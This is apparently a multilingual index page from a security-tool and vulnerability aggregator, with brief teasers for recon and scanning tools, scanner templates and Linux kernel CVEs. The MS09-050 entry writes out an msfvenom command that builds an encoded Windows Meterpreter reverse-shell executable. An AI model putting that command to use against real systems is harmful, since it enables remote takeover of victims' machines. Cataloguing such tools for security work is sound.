ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Windows 用ペイロードを作成/生成するワンライナー msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out /path/ meterpreter を起動するワンライナー...

getsploit

Getsploit Vulners 데이터베이스에서 공개 익스플로잇을 검색하고 다운로드하세요 — 온라인으로, 또는 로컬 인덱스에서 완전히 오프라인으로...

ecs-templates

概要 このリポジトリには、Corelight または Zeek のログを Elastic Common Schema ECS の命名標準に変換し、Elastic Stack デプロイメントに格納するために必要なものがすべて含まれています。2019年に Elastic Common Schema と同じ年に最初にリリースされたこのリポジトリは、今もなお積極的にメンテナンスされ、更新されています。 200を超えるさまざまなログとメトリクス...

reconerator

개요 이것은 다양한 상황 인식 활동을 수행하는 사용자 지정 .NET 어셈블리입니다. 현재 여러 기능 세트가 있습니다: BASIC - 디스크와 레지스트리에서 정보를 수집합니다. LDAP - 사용자 지정 AD LDAP 쿼리를 수행할 수 있습니다. RESOLVEHOST - DNS 조회 쿼리를 수행합니다. INDEXSEARCH - Windows 인덱싱 서비스에서 로컬 파일과 이메일파일명 및 내용을 검색합니다. PROXYCHECK - 제공된 URL에 접근할 때 사용될 프록시 서버를 표시합니다. 이 도구를 작성할 당시 GhostPack이...

bomber

bomber is an application that scans SBOMs for security vulnerabilities. Overview So you've asked a vendor for an Software Bill of Materials SBOM for one of their closed source products, and they provided one to you in a JSON file... now what? The first thing you're going to want to do is see if a...

wphardening

WPHardening Fortify the security of any WordPress installation. ❮ NOTE ❯ This tool releases new versions on a regular basis. Make sure to update your dependencies frequently to get the latest version. Check out the changelog or CHANGELOG.md to learn about the new features. Installation Installing...

intelmq

docs/index.md...

trivy-java-db

trivy-java-db 概要 trivy-java-db は、maven-index リポジトリのデータから SQLite データベースを構築し、jar ファイルの ArtifactID、GroupID、Version、sha1 を保存します。 この DB は、Trivy が GAV を含まない jars に関する情報を発見するために使用されます。 更新間隔 毎日 00:00 Javaインデックスデータベースのダウンロード 実際にコンパイルされたデータベースは、Trivy または Oras CLI からダウンロードできます。 Trivy: root@kitploit:...

german-owasp-day

german-owasp-day 德国OWASP日会议网站与演示文稿存档 你可以在 god.owasp.de 找到该页面 请为每年创建一个文件夹，然后将主索引的重定向指向该文件夹。...

CVE-2023-36281

CVE-2023-36281 CVE-2023-36281에 대한 PoC 나는 이 PoC를 참조했습니다. 안타깝게도 subprocess.Popen의 인덱스가 Python 환경마다 다르기 때문에 작동하지 않습니다. 하지만 제 PoC 코드는 이 문제를 해결합니다. 설치 $ pip install -r requirements.txt 실행 1. 각 환경마다 다를 수 있으므로 자신의 환경에서 subprocss의 인덱스를 구하세요. 입력 $ python getindexofsubprocess.py 출력 root@kitploit:...

MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting

paintballrefjosh/MaNGOSWebV4 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php step parameter, letting attackers execute arbitrary scripts in the victim's browser, exploit requires victim to visit a maliciously crafted URL id: CVE-2017-6478 info: name: MaNGOSWebV4...

OfficeWeb365 Indexs Interface - Arbitrary File Read

There is any file reading in the officeWeb365 Indexs interface. id: CVE-2024-37728 info: name: OfficeWeb365 Indexs Interface - Arbitrary File Read author: DhiyaneshDK severity: high description: | There is any file reading in the officeWeb365 Indexs interface. impact: | Unauthenticated attackers...

Vite dev server - Cross-Site Scripting

Vite's dev server, when used with appType: 'custom' and manually invoking server.transformIndexHtml using the unmodified request URL, is vulnerable to XSS via a crafted URL payload. If the HTML being served includes an inline module script ..., an attacker can inject a script via the URL,...

CVE-2026-89525

A flaw was found in the Linux kernel. A local attacker could craft a malicious Universal Disk Format UDF image to trigger an out-of-bounds read vulnerability in the udfgetpblockvirt15 function. This occurs when the system attempts to read a Virtual Allocation Table VAT index equal to the entry...

CVE-2026-80966

A flaw was found in the ALSA portman2x4 driver of the Linux kernel. This vulnerability occurs because the driver does not properly validate the card index, specifically failing to check for negative ID values. A local attacker could exploit this by providing a negative ID value via sysfs, leading...

CVE-2026-80965

A flaw was found in the Linux kernel's ALSA serial-u16550 driver. This vulnerability occurs because the driver does not properly validate the card index when a device is manually bound via the sysfs interface. A local user could exploit this by providing an invalid card index, leading to an...

CVE-2026-80968

A flaw was found in the ALSA mts64 driver within the Linux kernel. This driver does not properly validate the card index, specifically failing to check for negative ID values when bound via sysfs. A local attacker could exploit this vulnerability to cause an out-of-bounds access, potentially...

GoogleIndexRetriever

Google 인덱스 검색기 당신이 필요로 하는 내용을 정확히 다루는 것 같은 웹페이지를 발견했는데 삭제된 적이 있나요? 네, Google 캐시가 답이지만... 캐시도 삭제되었다면요? 사이트가 Google 색인 페이지에만 있다면요? 웹페이지를 되찾을 수는 없지만, 그 페이지가 존재했다는 것은 알고 있습니다. Google Index Retriever 는 Google에서 색인을 다시 검색하여 텍스트의 일부를 되찾고, 아마도 당신이 필요로 하는 삭제된 콘텐츠를 되찾으려고 시도할 것입니다. Google 캐시는 영원히 존재하지 않습니다...

dirhunt

.. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/v0.2.0/images/dirhunt.png | .. image:: https://raw.githubusercontent.com/Nekmo/dirhunt/pip-rating-badge/pip-rating-badge.svg :target: https://github.com/Nekmo/dirhunt/actions/workflows/pip-rating.yml :alt: pip-rating badge .. image::...

CVE-2026-89559

In the Linux kernel, the following vulnerability has been resolved: libnvdimm/labels: Prevent integer overflow in ndlabelvalidate The on-media namespace index field nslot is a u32 read from the DIMM label storage area. ndlabelvalidate bounds it against the config area size, but sizeofnamespacelab...